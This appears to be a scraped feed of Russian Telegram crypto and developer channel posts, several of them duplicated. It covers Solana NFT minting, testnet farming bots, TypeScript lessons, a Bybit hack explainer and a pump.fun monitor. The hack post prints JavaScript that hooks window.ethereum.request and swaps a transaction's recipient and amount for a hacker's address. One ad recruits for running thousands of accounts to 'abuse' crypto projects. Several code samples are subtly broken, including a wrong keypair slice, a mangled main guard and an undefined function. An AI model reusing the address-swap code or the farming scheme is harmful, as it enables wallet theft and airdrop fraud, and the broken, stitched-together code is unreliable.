кратко и пошагово разбираем процесс
Что требуется?
Node.js (для Metaplex CLI)
Python 3.7+ ⬇️
Solana CLI (для управления кошельком и сетями)
Либы ->
pip install solders anchorpy base58Создание NFT через Metaplex
a. Подготовка метаданных
файл metadata.json:
{
"name": "My NFT",
"symbol": "NFT",
"denoscription": "Описание",
"image": "https://ссылка_на_имаге/image.png",
"attributes": []
}b. Загрузка метаданных и минтинг NFT (Используем Metaplex CLI)
metaplex upload metadata.json -k ~/.config/solana/devnet.json
После загрузки получаем URI метаданных -> https://arweave.net/xyz
import json
from solders.keypair import Keypair
from solders.pubkey import Pubkey
from solana.rpc.api import Client
from spl.token.instructions import Token
from solana.rpc.types import TxOpts
from spl.token.constants import TOKEN_PROGRAM_ID
# подключаемся к Devnet
client = Client("https://api.devnet.solana.com")
# загрузка приватного ключа из файла
with open("/path/to/devnet.json", "r") as f:
secret_key = json.load(f)
# создание объекта Keypair из приватного ключа
payer = Keypair.from_bytes(bytes(secret_key[:32]))
# создание NFT (Mint Account)
token = Token.create_mint(
conn=client,
payer=payer,
mint_authority=payer.pubkey(),
decimals=0, # NFT имеет 0 десятичных знаков
program_id=TOKEN_PROGRAM_ID
)
# создаем ассоциированный аккаунт для хранения NFT
associated_account = token.create_associated_token_account(payer.pubkey())
# минтинг 1й NFT
token.mint_to(
dest=associated_account,
mint_authority=payer,
amount=1,
opts=TxOpts(skip_confirmation=False)
)
print(f"NFT создан! Mint Address: {token.pubkey}")
Добавление метаданных Metaplex (для привязки метаданных к NFT)
Пример через CLI:
metaplex create_nft \\
-k ~/.config/solana/devnet.json \\
--uri "https://arweave.net/xyz" \\
--name "My NFT"
после создания
Проверяем Solana кошелек
вот такая базовая инструкция по созданию нфт, как вам идея написать нашу??
📟 Прилетело из @code_vartcall
☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Полностью переписал твиттер бота, теперь всё удобнее + быстрее + надежнее.
Так же попутно написал свой Твиттер SDK на Go для этого.
Функционал:
Все обновления по софту публикуются в чате - @StarLabsChat.
Туда же пишите пожелания что добавить в софт.
📟 Прилетело из @StarLabsTech
📟 На серваки
Please open Telegram to view this post
VIEW IN TELEGRAM
Monad Testnet Checker
github.com/vgjtsy/evm-checker
Там разослали тестнет токены - у меня попали акки где лежало от 0.01 ETH примерно
Добавил в чекер от @raznorabochiy_notes тестнет от Монад и еще несколько сетей
Напомню, что ему постоянно блочат гитхаб, поэтому доступ к софтам иногда пропадает — надеюсь он скоро восстановит
NOTION | OUR CHANNELS | CHAT | OKX | BYBIT | GWEIBOT
📟 Прилетело из @developercode1
👧 На суши и девочек
github.com/vgjtsy/evm-checker
Там разослали тестнет токены - у меня попали акки где лежало от 0.01 ETH примерно
Добавил в чекер от @raznorabochiy_notes тестнет от Монад и еще несколько сетей
Напомню, что ему постоянно блочат гитхаб, поэтому доступ к софтам иногда пропадает — надеюсь он скоро восстановит
NOTION | OUR CHANNELS | CHAT | OKX | BYBIT | GWEIBOT
📟 Прилетело из @developercode1
👧 На суши и девочек
Я опоздал на движ с AI Агентами, но в нашем пре-акселераторе чел замахнулся перевернуть игру всех chatgpt оберток, и я сел рисерчить, как же это все запрогать.
Антропик выдал базу: разные способы собрать агента, если есть LLM по API.
- https://www.anthropic.com/research/building-effective-agents
Несколько примеров на русском
- https://vas3k.club/post/26791/#Dopolnenie-ot-avtora
Многие агенты юзают апи Firecrawl API, чтобы читать сайты. А он бац — и опенсорсный:
- https://github.com/mendableai/firecrawl
И несколько примеров агентов:
Дип рисерч у нас дома
- https://github.com/fdarkaou/open-deep-research
Элиза, которая умеет в сто+ тулов:
- https://github.com/elizaOS/eliza
Ну и потенциально полезное:
Чел сделал open source rag сервис, потестим под нагрузкой
- supavec.com
Мониторинг дерганья openAI API
- langfuse.com
Протокол общения между тулами, хз, использует ли кто-то
- https://modelcontextprotocol.io/quickstart/client#building-mcp-clients
Чел сравнил Single Prompt, Prompt chain и Agent на своей задаче:
- https://www.youtube.com/watch?v=PPE0RZN___o
Поделитесь вашими важными ссылками в комменты 👉👈
📟 Прилетело из @danokhlopkov
☯️ Почистить карму
Антропик выдал базу: разные способы собрать агента, если есть LLM по API.
- https://www.anthropic.com/research/building-effective-agents
Несколько примеров на русском
- https://vas3k.club/post/26791/#Dopolnenie-ot-avtora
Многие агенты юзают апи Firecrawl API, чтобы читать сайты. А он бац — и опенсорсный:
- https://github.com/mendableai/firecrawl
И несколько примеров агентов:
Дип рисерч у нас дома
- https://github.com/fdarkaou/open-deep-research
Элиза, которая умеет в сто+ тулов:
- https://github.com/elizaOS/eliza
Ну и потенциально полезное:
Чел сделал open source rag сервис, потестим под нагрузкой
- supavec.com
Мониторинг дерганья openAI API
- langfuse.com
Протокол общения между тулами, хз, использует ли кто-то
- https://modelcontextprotocol.io/quickstart/client#building-mcp-clients
Чел сравнил Single Prompt, Prompt chain и Agent на своей задаче:
- https://www.youtube.com/watch?v=PPE0RZN___o
Поделитесь вашими важными ссылками в комменты 👉👈
📟 Прилетело из @danokhlopkov
☯️ Почистить карму
#О_проектах: две крутые новинки в #Hyperliquid, #nuts_farm и конкурс в #drops.
Не знаю, будет ли эта рубрика постоянной, но решил сейчас написать такой пост вместо дайджеста, так как есть о чём рассказать...
1. Hyperliquid:
Запустили HyperEVM. Это EVM сеть с интеграцией в смарт-контракты книги ордеров Hyperliquid L1. Функционал внедряется постепенно: пока только деплой контрактов и перевод HYPE в сеть. Но постепенно функционал будет расширяться.
Естественно вы можете работать с сетью в Metamask, Rabby или ином кошельке.
Для перевода HYPE из Hyperliquid отправляйте HYPE на адрес
Там же найдёте и раздел с подключением сети.
Второй новостью по крутости является появление поддержки нативных BTC сети Bitcoin в Hyperliquid L1!
Благодаря этому уже сейчас можно в HL торговать на споте Битками!
Это реализовано при помощи Unit: децентрализованного слоя для передачи активов из разных сетей.
В будущем они начнут поддерживать и ETH & SOL, а может и что ещё.
Напоминаю свой древний ☺ обзор Hyperliquid.
А если вам нравится, куда движется проект, и вы торгуете на споте / фьючах, но вас нет в Hyperliquid, присоединяйтесь по моей ссылке (буду рад):
начать торговать.
2. В Nuts farm тоже новости интересные...
Напомню, что речь про бота, где есть как фарм $NUTS, так и обучение крипте...
Запустить бота!
Так вот:
Во-первых, они дали возможность, если у вас от 100 рефералов, добавлять ссылки регистрации на централизованных биржах.
Перейдя по моей выше, вы тоже сможете начать работать с CEX по моим ссылкам 😊. Буду рад.
Во-вторых, теперь пригласившие получают часть донатов пользователей в USDT.
Была добавлена соответствующая функция в курс. Вы донатите звёздами, а реферер получает USDT. То же самое и в отношении ваших рефералов.
Так что присоединяться к проекту причин стало ещё больше.
3. А вот в @drops запустили конкурс трейдеров в Solana.
Я уже вроде бы писал, что они сделали возможность торговать активами прямо в боте. Теперь и Solana поддерживают...
Единственное, что мне не понравилось, из-за чего я и не стал рекламировать во время активности конкурса - это то, что предлагали заниматься трейдингом конкретного токена, накручивая объёмы ему...
Но в этом слишком большой риск, так как актив может сильно просесть (большой убыток). Да и в целом считаю это неправильным...
Но если вам такие конкурсы нравятся, присоединяйтесь по ссылке выше, запускайте бота и участвуйте.
Всё на сегодня. Благодарю за внимание. Хорошего дня!
P. S. На скриншоте, который прикрепил к посту, BTC в Hyperliquid (там он называется uBTC).
P. P. S. Как вам рубрика? Интересно читать о том, что происходит в проектах, которые я обозревал?
Правда сложность в том, что не все отслеживаю, да и интересные новости редки... Но если интересно, буду публиковать в случае нахождения информации...
📟 Прилетело из @blind_dev
☕️ На кофе
Не знаю, будет ли эта рубрика постоянной, но решил сейчас написать такой пост вместо дайджеста, так как есть о чём рассказать...
1. Hyperliquid:
Запустили HyperEVM. Это EVM сеть с интеграцией в смарт-контракты книги ордеров Hyperliquid L1. Функционал внедряется постепенно: пока только деплой контрактов и перевод HYPE в сеть. Но постепенно функционал будет расширяться.
Естественно вы можете работать с сетью в Metamask, Rabby или ином кошельке.
Для перевода HYPE из Hyperliquid отправляйте HYPE на адрес
0x2222222222222222222222222222222222222222 (источник).Там же найдёте и раздел с подключением сети.
Второй новостью по крутости является появление поддержки нативных BTC сети Bitcoin в Hyperliquid L1!
Благодаря этому уже сейчас можно в HL торговать на споте Битками!
Это реализовано при помощи Unit: децентрализованного слоя для передачи активов из разных сетей.
В будущем они начнут поддерживать и ETH & SOL, а может и что ещё.
Напоминаю свой древний ☺ обзор Hyperliquid.
А если вам нравится, куда движется проект, и вы торгуете на споте / фьючах, но вас нет в Hyperliquid, присоединяйтесь по моей ссылке (буду рад):
начать торговать.
2. В Nuts farm тоже новости интересные...
Напомню, что речь про бота, где есть как фарм $NUTS, так и обучение крипте...
Запустить бота!
Так вот:
Во-первых, они дали возможность, если у вас от 100 рефералов, добавлять ссылки регистрации на централизованных биржах.
Перейдя по моей выше, вы тоже сможете начать работать с CEX по моим ссылкам 😊. Буду рад.
Во-вторых, теперь пригласившие получают часть донатов пользователей в USDT.
Была добавлена соответствующая функция в курс. Вы донатите звёздами, а реферер получает USDT. То же самое и в отношении ваших рефералов.
Так что присоединяться к проекту причин стало ещё больше.
3. А вот в @drops запустили конкурс трейдеров в Solana.
Я уже вроде бы писал, что они сделали возможность торговать активами прямо в боте. Теперь и Solana поддерживают...
Единственное, что мне не понравилось, из-за чего я и не стал рекламировать во время активности конкурса - это то, что предлагали заниматься трейдингом конкретного токена, накручивая объёмы ему...
Но в этом слишком большой риск, так как актив может сильно просесть (большой убыток). Да и в целом считаю это неправильным...
Но если вам такие конкурсы нравятся, присоединяйтесь по ссылке выше, запускайте бота и участвуйте.
Всё на сегодня. Благодарю за внимание. Хорошего дня!
P. S. На скриншоте, который прикрепил к посту, BTC в Hyperliquid (там он называется uBTC).
P. P. S. Как вам рубрика? Интересно читать о том, что происходит в проектах, которые я обозревал?
Правда сложность в том, что не все отслеживаю, да и интересные новости редки... Но если интересно, буду публиковать в случае нахождения информации...
📟 Прилетело из @blind_dev
☕️ На кофе
#Интенсив
Чем я сейчас занимаюсь?
Начну с того, что один из олдов чата позвал меня на интенсив по DEPIN проектам, и после этого я начал по гайдам изучать и поднимать свою DEPIN ферму. Подняв себе, ферму я подумал, что вам это тоже может быть интересно и вы захотите присоединиться.
Чуть ниже распишу для кого из вас подойдет этот интенсив.
1) для тех, кто хочет мультить все проекты на тысячи акков с минимальными вложениями
2) для тех, кто ищет комьюнити которое вовлечено в абуз и вынос проектов
3) для тех, кто хочет одним из первых получать софты и гайды на новые проекты
📕Сейчас в интенсиве опубликовано 14 полноценных гайда как с нуля поднять ферму на каждый проект из списка (Gradient, Toggle, Teneo, Depined, Dawn, Grass, Aigaea, Functor Node, MyGate, Bless, Oasis, OpenLoop, BlockMesh)
💵Цена интенсива: 249$
🤖Бот для оплаты: @IntensivePetyaSoft_bot
channel | chat
📟 Прилетело из @petyasofts
📟 На серваки
Чем я сейчас занимаюсь?
Начну с того, что один из олдов чата позвал меня на интенсив по DEPIN проектам, и после этого я начал по гайдам изучать и поднимать свою DEPIN ферму. Подняв себе, ферму я подумал, что вам это тоже может быть интересно и вы захотите присоединиться.
Чуть ниже распишу для кого из вас подойдет этот интенсив.
1) для тех, кто хочет мультить все проекты на тысячи акков с минимальными вложениями
2) для тех, кто ищет комьюнити которое вовлечено в абуз и вынос проектов
3) для тех, кто хочет одним из первых получать софты и гайды на новые проекты
📕Сейчас в интенсиве опубликовано 14 полноценных гайда как с нуля поднять ферму на каждый проект из списка (Gradient, Toggle, Teneo, Depined, Dawn, Grass, Aigaea, Functor Node, MyGate, Bless, Oasis, OpenLoop, BlockMesh)
💵Цена интенсива: 249$
🤖Бот для оплаты: @IntensivePetyaSoft_bot
channel | chat
📟 Прилетело из @petyasofts
📟 На серваки
Wallet checker
v2.7.0
Добавил новый чекер Monad: баланс MON, количество транзакций, уникальные контракты, активные дни и т.д.
Напомню, что для включения нового чекера нужно перенести настройки для него из user_data/config.example.js в ваш user_data/config.js
📟 Прилетело из @by_munris
☯️ Почистить карму
v2.7.0
Добавил новый чекер Monad: баланс MON, количество транзакций, уникальные контракты, активные дни и т.д.
Напомню, что для включения нового чекера нужно перенести настройки для него из user_data/config.example.js в ваш user_data/config.js
📟 Прилетело из @by_munris
☯️ Почистить карму
Любителям FastAPI посвящается новая статья https://lokalise.com/blog/fastapi-internationalization/
📟 Прилетело из @dev_in_ruby_colors
☕️ На кофе
📟 Прилетело из @dev_in_ruby_colors
☕️ На кофе
Lokalise
FastAPI i18n: A step-by-step guide with examples
Learn how to add FastAPI i18n with translations, pluralization, datetime and currency localization, and locale detection for your app.
Fraction AI это ИИ\Крипто помоечка которая создана эксами от таких именитых титанов как Гугл, Амазон и даже Микрософт(господи прости)😳
Собрали 6кк в рамках Pre-Seed что весьма бодро. Пытаются решить высосаную с пальца проблему(как и любой крипто стартап), связанную с взаимодействием человека и ИИ агентов. За участие в тестировании их технологий нам обещают прямым текстом сделать насыпку в майнете
Кратко, наша задача, создавать Агентов и запускать их в Батлы. Все действия проходят в Сеполии.
Затраты на аккаунт:
0.005ETH Антибот холд в Meinnet/Base
Discord, только привязка
Sepolia ETH
Функционал софта:
1) Регистрация аккаунтов
2) Создание Агентов (через саму платформу либо через ChatGPT)
2) Включение Automation
3) Вход агентов в батлы через Join Space
4) Выключение Automation
5) Вывод ETH с Агентов
В планах к добавлению:
1) Автододеп с биржи 0.005ETH
2) Автобридж ETH в Sepolia
Софт Towns AIO - тык
Чат лучших криптоигроков - тык
Ультимативное обучение BAS - тык
📟 Прилетело из @hashvers
☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
Твои первые $100.000 на Solana Разработке
а сейчас разберем бекграунд наших постов по солане начиная с 11 февраля
Код был написал преимущественно на Python + solana-py
😰 Но вот неожиданность, solana-py уже не так хорош и ему в альтернативу пришла solders библитека
😭 Преимущества Solders:
😜 Что делать с solana-py?
Используем библиотеки вместе, пример
ПОЧЕМУ Я НЕ ПИШУ НА SOLDERS?
Думаю это мощный прогрев к моей статье по солане где все встанет на свои места!
📟 Прилетело из @code_vartcall
☕️ На кофе
а сейчас разберем бекграунд наших постов по солане начиная с 11 февраля
Код был написал преимущественно на Python + solana-py
Быстрее т.к используем Rust через PyO3
Лучше совместим с anchorpy (для написания смарт-контрактов на солана)
она по прежнему актуальна, будем использовать ее в следующих операциях ⬇️
> solana-py предоставляет удобные методы для работы с RPC-сервером (get_account_info, get_balance). В solders это можно делать, но API сложнее.
> solana-py предоставляет удобный Transaction API, похожий на solana-web3.js, что может быть полезно при миграции web3.js -> solana.py
> В solana-py есть удобные методы для работы с SPL-токенами (spl.token). В solders это тоже возможно, но немного сложнее.
Используем библиотеки вместе, пример
from solders.pubkey import Pubkey
from solders.rpc.responses import GetAccountInfoResp
from solana.rpc.api import Client
# используем solana-py для работы с RPC
client = Client("https://api.devnet.solana")
account_pubkey = Pubkey.from_string("YourPublicKeyHere")
# получаем информацию об аккаунте (solana-py)
account_info = client.get_account_info(account_pubkey)
# преобразуем ответ в формат solders
solders_response = GetAccountInfoResp.from_json(account_info)
print(solders_response)
ПОЧЕМУ Я НЕ ПИШУ НА SOLDERS?
Думаю это мощный прогрев к моей статье по солане где все встанет на свои места!
📟 Прилетело из @code_vartcall
☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
https://lolz.live/threads/7261443/#post-54982007
Открыл продажу реггера Steam на LT
Всего будет продано 7 копий , 3/7 - продано .
📟 Прилетело из @steamner
📟 На серваки
Открыл продажу реггера Steam на LT
Всего будет продано 7 копий , 3/7 - продано .
📟 Прилетело из @steamner
📟 На серваки
Бот для тестнета Monad.
Тестнет вышел вчера вечером, сделали базовый функционал для прогона аккаунтов. Остальные приложения уже добавляются и софт будет обновляться по мере их готовности.
Функционал:
Все обновления по софту публикуются в чате - @StarLabsChat.
Туда же пишите пожелания что добавить в софт.
📟 Прилетело из @StarLabsTech
📟 На серваки
Please open Telegram to view this post
VIEW IN TELEGRAM
Урок 13 (TypeScript)
Стрелочные функции. Аннотации к функциям в TypeScript
Ссылка на видео
Методичка в notion: Стрелочные функции
00:00 - что такое стрелочные функции
00:53 - что будем делать?
01:43 - синтаксис стрелочной функции
03:16 - пример стрелочной функции
04:59 - стрелочная функция без параметров
06:58 - стрелочные функции в тернарном операторе
09:17 - многострочные стрелочные функции
10:51 - аннотация функции без параметров
12:12 - аннотация стрелочной функции без параметров
13:00 - аннотация функции с параметрами
14:07 - аннотация стрелочной функции с параметрами
15:36 - практика
15:50 - повторение материала и качество кода
17:25 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
👧 На суши и девочек
Стрелочные функции. Аннотации к функциям в TypeScript
Ссылка на видео
Методичка в notion: Стрелочные функции
00:00 - что такое стрелочные функции
00:53 - что будем делать?
01:43 - синтаксис стрелочной функции
03:16 - пример стрелочной функции
04:59 - стрелочная функция без параметров
06:58 - стрелочные функции в тернарном операторе
09:17 - многострочные стрелочные функции
10:51 - аннотация функции без параметров
12:12 - аннотация стрелочной функции без параметров
13:00 - аннотация функции с параметрами
14:07 - аннотация стрелочной функции с параметрами
15:36 - практика
15:50 - повторение материала и качество кода
17:25 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
👧 На суши и девочек
YouTube
TypeScript с нуля до блокчейна (Урок 13) | Стрелочные функции. Аннотации к функциям в TypeScript
Канал в телеграм: https://news.1rj.ru/str/semolina_code_python
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/120
00:00 - что такое стрелочные функции
00:53 - что будем делать?
01:43 - синтаксис стрелочной функции
03:16 - пример стрелочной…
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/120
00:00 - что такое стрелочные функции
00:53 - что будем делать?
01:43 - синтаксис стрелочной функции
03:16 - пример стрелочной…
Смарт-контракты в Solana отличаются от контрактов в Ethereum и других EVM-совместимых блокчейнах.
> Они называются программами и работают в безсостоячном режиме.
> Данные хранятся отдельно в аккаунтах, а не внутри самого смарт-контракта.
Смарт-Контракты - скомпилированный код, развернутый в блокчейне.
В Solana все данные хранятся в аккаунтах, а не внутри программы
🔧 Есть два типа аккаунтов:
> Executable Accounts - аккаунты, содержащие скомпилированную программу.
> Data Accounts - аккаунты для хранения состояния.
Инструкции - команды, отправляемые в смарт-контракт ⬇️
Аналогичны вызовам функций в Ethereum.
Транзакции - группы инструкций, выполняемые в одной атомарной операции.
Используем seahorse - DSL, который компилируется в Rust для Solana.
pip install seahorse-lang
Пишем смарт-контракт, который хранит число:
from seahorse.prelude import *
declare_id("5hWzF9Pb...") # адрес программы в Solana
class Counter(Account):
value: i64 # хранит число
@instruction
def initialize(owner: Signer, counter: Empty[Counter]):
counter.init(payer=owner, seeds=["counter"])
counter.value = 0
@instruction
def increment(owner: Signer, counter: Counter):
counter.value += 1
declare_id - объявляет ID программы.
Counter - аккаунт, хранящий число.
initialize - функция инициализации.
increment - функция увеличения числа.
Seahorse скомпилирует его в Rust и позволит деплоить в Solana.
seahorse build - компиляция в RustРазвернуть через Solana CLI
solana program deploy target/deploy/my_program.so
Ваши ИДЕИ на следующий МОЩНЫЙ разбор?
📟 Прилетело из @code_vartcall
📟 На серваки
Please open Telegram to view this post
VIEW IN TELEGRAM
Урок 14 (TypeScript)
Объекты, индексный тип, оператор "in", цикл "for ... in"
Ссылка на видео
Методичка в notion: Объекты
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект
04:43 - аннотация типов к объекту
05:48 - получение значений по ключу "через точку"
06:42 - индексный тип
12:53 - добавление свойств в объект (3 способа)
16:21 - удаление свойств
17:33 - ключ из нескольких слов. Получение значений по ключу "через квадратные скобки"
P.S. "квадратные кавычки" обозвал как только мог. Получилось забавно
20:01 - висячая запятая
21:08 - изменение константных объектов
22:04 - вычисляемые свойства объекта
23:52 - выражения внутри ключей
24:42 - свойства из переменной
27:38 - ограничения на название ключей
29:25 - почему нельзя использовать proto как ключ
30:25 - оператор in
32:38 - перебор ключей объекта циклом for ... in
37:06 - как работает as keyof
38:49 - дополнительные материалы и практика
40:18 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
☕️ На кофе
Объекты, индексный тип, оператор "in", цикл "for ... in"
Ссылка на видео
Методичка в notion: Объекты
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект
04:43 - аннотация типов к объекту
05:48 - получение значений по ключу "через точку"
06:42 - индексный тип
12:53 - добавление свойств в объект (3 способа)
16:21 - удаление свойств
17:33 - ключ из нескольких слов. Получение значений по ключу "через квадратные скобки"
P.S. "квадратные кавычки" обозвал как только мог. Получилось забавно
20:01 - висячая запятая
21:08 - изменение константных объектов
22:04 - вычисляемые свойства объекта
23:52 - выражения внутри ключей
24:42 - свойства из переменной
27:38 - ограничения на название ключей
29:25 - почему нельзя использовать proto как ключ
30:25 - оператор in
32:38 - перебор ключей объекта циклом for ... in
37:06 - как работает as keyof
38:49 - дополнительные материалы и практика
40:18 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
☕️ На кофе
YouTube
TypeScript с нуля до блокчейна (Урок 14) | Объекты, индексный тип, оператор "in", цикл "for ... in"
Канал в телеграм: https://news.1rj.ru/str/semolina_code_python
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/121
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект …
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/121
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект …
похитили около 401 346 ETH ≈ $1,46 млрд
Что произошло?
использовась технику подмены интерфейса пользователя (UI spoofing), что позволило получить доступ к одному из холодных кошельков Ethereum биржи.😎 Хакеры манипулировали процессом подписания транзакций, подменяя данные таким образом, что участники видели корректный адрес получателя, но фактически подтверждали измененную транзакцию.
Как это реализовывается?
Добавляется JavaScript-код на сайте или в расширении кошелька, который: ⬇️
> Перехватывает и изменяет отображаемые пользователю данные
> Меняет содержимое транзакции перед подписью🎹 Подмена адреса получателя
Когда пользователь инициирует перевод, злоумышленник изменяет отображаемый адрес на подлинный (биржи), но перед подписанием транзакции он меняется на адрес хакера.
// Вредоносный код в расширении браузера или на фишинговом сайте
document.getElementById("recipient-address").value = "0xCorrectAddress"; // Подлинный адрес
document.getElementById("amount").value = "10";
// Перехват перед подписанием
window.ethereum.request = async (args) => {
if (args.method === "eth_sendTransaction") {
let tx = args.params[0];
console.log("Оригинальная транзакция:", tx);
// Подмена адреса получателя на адрес хакера
tx.to = "0xHackerAddress";
console.log("Измененная транзакция:", tx);
return originalEthereumRequest({ method: "eth_sendTransaction", params: [tx] });
}
return originalEthereumRequest(args);
};
Код отображает жертве "правильный" адрес, но перед подписанием транзакции изменяет его на адрес хакера.
Подмена Суммы Перевода:
tx.value = "0xde0b6b3a7640000"; // 1 ETH вместо 0.1 ETH
В нашем случае хакеры могли внедрить код в интерфейс биржи или кошелька, который перехватывал и изменял отображаемые пользователю данные. Это могло быть достигнуто через компрометацию веб-сайта биржи, использование фишинговых сайтов или вредоносных расширений браузера.
Что делать?🔫
> нам, как юзерам не держать все на биржах, использовать базовую диверсификацию
ну и☔️
> Включаем Google Authenticator 2FA и отключить SMS.
> Настроить белый список адресов для вывода.
> Проверить URL перед входом в аккаунт.
> Регулярно проверяйте активность аккаунта (IP)
ваши МЫСЛИ?
📟 Прилетело из @code_vartcall
☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
Функционал
для получения данных будем использовать сторонний апи - pumpportal.fun
pip install requests
Параметры
import requests
import time
# URL для получения данных о новых токенах
API_URL = "https://pumpportal.fun/api/new-tokens"
# пороговые значения для фильтрации
MIN_MINTERS = 100 # Минимальное количество минтеров
MIN_LIQUIDITY = 10 # Минимальная ликвидность в SOL
MIN_PRICE = 0.001 # Минимальная цена в SOL
MAX_PRICE = 1 # Максимальная цена в SOL
# интервал проверки (в секундах)
CHECK_INTERVAL = 60
Получение данных о новых токенах
def fetch_new_tokens():
try:
response = requests.get(API_URL)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"Ошибка при получении данных: {e}")
return []
Фильтрации токенов по заданным критериям
def filter_tokens(tokens):
filtered = []
for token in tokens:
minters = token.get('minters', 0)
liquidity = token.get('liquidity', 0)
price = token.get('price', 0)
if (minters >= MIN_MINTERS and
liquidity >= MIN_LIQUIDITY and
MIN_PRICE <= price <= MAX_PRICE):
filtered.append(token)
return filtered
Основной Цикл МОНИТОРИНГА
def main():
print("Запуск мониторинга новых мемкоинов на Pump.fun...")
while True:
tokens = fetch_new_tokens()
if tokens:
filtered_tokens = filter_tokens(tokens)
for token in filtered_tokens:
notify(token)
else:
print("Нет новых токенов или ошибка при получении данных.")
time.sleep(CHECK_INTERVAL)
if name == "main":
main()
Кратко расписал как это будет выглядеть
😠 Далее можно добавлять:
> более точные критерии отбора токенов
> отслеживать ранних минтеров
> настроить лимиты на покупку
> И самое интересное проверять механизмы блокировки продаж в смарт-контракте + исключать токены с высоким налогом на продажу (sell tax).
ВАШИ МЫСЛИ?
📟 Прилетело из @code_vartcall
👧 На суши и девочек
Please open Telegram to view this post
VIEW IN TELEGRAM